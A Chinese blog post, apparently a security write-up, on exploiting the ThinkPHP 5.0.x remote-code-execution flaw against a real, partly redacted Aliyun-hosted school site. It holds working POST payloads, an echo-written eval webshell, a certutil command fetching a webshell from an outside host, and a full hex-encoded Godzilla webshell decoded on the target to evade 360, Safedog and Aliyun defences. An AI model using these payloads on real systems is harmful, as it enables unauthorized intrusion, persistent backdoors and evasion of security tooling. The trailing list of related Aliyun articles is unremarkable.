TP-RCE绕过阿里云防护Getshell

简介: TP-RCE绕过阿里云防护Getshell

0x01 前言

这篇文章记录的是笔者在阅读某公众号发布的“记一次对****某校区失败的渗透测试”文章时发现存在漏点,找到目标站点并对原文章作者在Getshell时遇到的问题进行了一些测试,Getshell失败的原因他认为是Assert、Eval被禁用或者360安全防护问题,其实都不是。

漏点处出在Burpsuite请求/响应包中以及****等关键字。


0x02 TP-RCE漏洞利用与杀软对比

这是一个后台登录页,基于ThinkPHP V5.0.20框架,可利用ThinkPHP 5.0.0~5.0.23 RCE漏洞直接执行系统命令,不同小版本之间利用的Payload可能会有些差别。

    _method=__construct&filter=system&a=whoami
    http://192.168.1.7/ThinkPHP/public/index.php?s=captcha
    post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami
    post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami


    通过与tasklist /svc命令结果对比发现为阿里云主机,并且安装的有服务器安全狗、360安全卫士和微软自带的Windows Defender,所以不能直接用以下两种方式来进行测试

    • 1. 360安全卫士和服务器安全狗都会拦截Net/Net1添加用户行为,所以没办法直接添加管理员用户。
    • 2. 360安全卫士Windows Defender也会拦截Mshta、Powershell等程序的执行,而且还有特征查杀和AMSI,所以暂时不考虑用MSF和CS来获取会话,因为免杀、传文件和执行方式都是问题......!


    0x02 绕过阿里云主机防护Getshell

    (1) 常规思路写Webshell这里我们可以先利用dir命令查看当前网站绝对路径,然后再用echo命令写入一个PHP Webshell,不过在写入<?php @eval($_POST[cmd]);?>一句话木马时发现被拦了,正常内容是可以写入的。

    当我们写入的Webshell特征被阿里云防护检测到时就会被拦截并Ban掉IP,会触发告警,链接被重置,网站暂时无法访问等,这也就是原文章作者Getshell失败的原因了。


    1、列出当前目录


    _method=__construct&filter=system&a=dir

    2、写入PHP一句话木马


    _method=__construct&filter=system&a=echo ^<?php @eval($_POST[cmd]);?^> > E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    在遇到这类云主机防护时可以尝试更换为免杀Webshell,这里我用的是“哥斯拉”生成的PHP木马。但问题又来了,哥拉斯的马并不是“一句话”,有34行,无法直接利用echo命令来写入,那么又该通过怎样的方式来写入这个PHP木马呢?接着往下看。


    (2) Certutil远程下载Webshell

    这里笔者首先想到的是certutil,当然也可以选择其他远程下载文件方式!RCE这类漏洞中利用certutil下载文件时建议加上cmd.exe /c,因为这样能绕过火绒应用加固中的“Web服务器”防护,也有可能可以绕过其他安全软件对certutil执行的拦截。


    _method=__construct&filter=system&a=cmd.exe /c certutil.exe -urlcache -split -f http://betaseclab.com/bypass/shell.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php


    (3) Certutil编码上传Webshell

    将“哥斯拉”的PHP木马在https://www.107000.com/T-Hex上进行一次或多次编码,然后将编码后的内容用set命令写入,最后再用certutil命令的decodehex参数将其解码并写入到shell.php文件即可。


    _method=__construct&filter=system&a=cmd.exe /c set /p="3C3F7068700A2020202073657373696F6E5F737461727428293B0A20202020407365745F74696D655F6C696D69742830293B0A09406572726F725F7265706F7274696E672830293B0A2020202066756E6374696F6E20452824442C244B297B0A2020202020202020666F722824693D303B24693C7374726C656E282444293B24692B2B29207B0A20202020202020202020202024445B24695D203D2024445B24695D5E244B5B24692B312631355D3B0A20202020202020207D0A202020202020202072657475726E2024443B0A202020207D0A2020202066756E6374696F6E2051282444297B0A202020202020202072657475726E206261736536345F656E636F6465282444293B0A202020207D0A2020202066756E6374696F6E204F282444297B0A202020202020202072657475726E206261736536345F6465636F6465282444293B0A202020207D0A2020202024503D2770617373273B0A2020202024563D277061796C6F6164273B0A2020202024543D2733633665306238613963313532323461273B0A2020202069662028697373657428245F504F53545B24505D29297B0A202020202020202024463D4F2845284F28245F504F53545B24505D292C245429293B0A202020202020202069662028697373657428245F53455353494F4E5B24565D29297B0A202020202020202020202020244C3D245F53455353494F4E5B24565D3B0A20202020202020202020202024413D6578706C6F646528277C272C244C293B0A202020202020202020202020636C61737320437B7075626C69632066756E6374696F6E206E766F6B6528247029207B6576616C2824702E2222293B7D7D0A20202020202020202020202024523D6E6577204328293B0A09090924522D3E6E766F6B652824415B305D293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C302C3136293B0A2020202020202020202020206563686F20512845284072756E282446292C245429293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C3136293B0A20202020202020207D656C73657B0A202020202020202020202020245F53455353494F4E5B24565D3D24463B0A20202020202020207D0A202020207D" <nul >> E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt


    _method=__construct&filter=system&a=cmd.exe /c certutil -decodehex E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    用哥斯拉连接后发现在基础信息里获取的系统版本与systeminfo命令获取的系统版本不一致,这应该算是哥拉斯的一个小BUG吧,但影响不大

    由于是国内的网站,所以笔者这里只对Getshell问题进行了测试,并没有进行下一步测试,写入的文件也已经删除了,有兴趣的老哥可以在自己阿里云主机上安装一个ThinkPHP 5.0.0~5.0.23 RCE靶场环境进行测试

    ThinkPHP5.0.20完整版:

    http://www.thinkphp.cn/donate/download/id/1155.html

    相关文章
    |
    20天前
    |
    弹性计算 安全
    电子好书发您分享《阿里云第八代企业级ECS实例,为企业提供更安全的云上防护》
    阿里云第八代ECS实例,搭载第五代英特尔至强处理器与飞天+CIPU架构,提升企业云服务安全与算力。[阅读详情](https://developer.aliyun.com/ebook/8303/116162?spm=a2c6h.26392459.ebook-detail.5.76bf7e5al1Zn4U) ![image](https://ucc.alicdn.com/pic/developer-ecology/cok6a6su42rzm_f422f7cb775444bbbfc3e61ad86800c2.png)
    35 14
    |
    8月前
    |
    安全 关系型数据库 数据库
    1-基础设施安全-1-云上安全基础防护知识-ACA-2-阿里云产品安全(下)
    1-基础设施安全-1-云上安全基础防护知识-ACA-2-阿里云产品安全(下)
    145 0
    |
    8月前
    |
    存储 弹性计算 安全
    1-基础设施安全-1-云上安全基础防护知识-ACA-2 -阿里云产品安全(上)
    1-基础设施安全-1-云上安全基础防护知识-ACA-2-阿里云产品安全(上)
    91 0
    |
    8月前
    |
    云安全 安全 专有云
    1-基础设施安全-1-云上安全基础防护知识-ACA-1-阿里云安全架构(二)
    1-基础设施安全-1-云上安全基础防护知识-ACA-1-阿里云安全架构(二)
    311 0
    1-基础设施安全-1-云上安全基础防护知识-ACA-1-阿里云安全架构(二)
    |
    8月前
    |
    云安全 安全 API
    1-基础设施安全-1-云上安全基础防护知识-ACA-1-阿里云安全架构(一)
    1-基础设施安全-1-云上安全基础防护知识-ACA-1-阿里云安全架构(一)
    238 0
    |
    9月前
    |
    云安全 机器学习/深度学习 移动开发
    |
    10月前
    |
    云安全 数据采集 弹性计算
    阿里云安全:云服务器的重要防护与用户安全设置
    随着云计算的快速发展和普及,保护数据和信息的安全至关重要,阿里云作为国内领先的云计算服务提供商,其产品和服务广泛应用于各个领域。而在使用阿里云服务的过程中,阿里云非常重视用户数据的安全性,并通过多重安全防护机制来保护其云服务器,安全问题也是用户非常关注的问题,尤其是企业级用户。本文将详细介绍阿里云服务器的安全防护措施,以及用户日常如何设置云产品的安全。
    834 1
    阿里云安全:云服务器的重要防护与用户安全设置
    |
    12月前
    |
    网络安全
    《阿里云产品手册2022-2023 版》——DDoS 防护
    《阿里云产品手册2022-2023 版》——DDoS 防护
    100 0
    |
    12月前
    |
    监控 安全
    《2021 阿里云可观测技术峰会演讲实录合辑(下)》——一、基于OPLG从0到1构建统一可观测平台实践——场景实践4:基于RASP的应用安全防护
    《2021 阿里云可观测技术峰会演讲实录合辑(下)》——一、基于OPLG从0到1构建统一可观测平台实践——场景实践4:基于RASP的应用安全防护
    |
    2天前
    |
    域名解析 弹性计算 Linux
    阿里云购买云服务器、注册域名、备案及绑定图文教程参考
    本文为大家介绍了2024年购买阿里云服务器和注册域名,绑定以及备案的教程,适合需要在阿里云购买云服务器、注册域名并备案的用户参考,新手用户可通过此文您了解在从购买云服务器到完成备案的流程。
    阿里云购买云服务器、注册域名、备案及绑定图文教程参考

    热门文章

    最新文章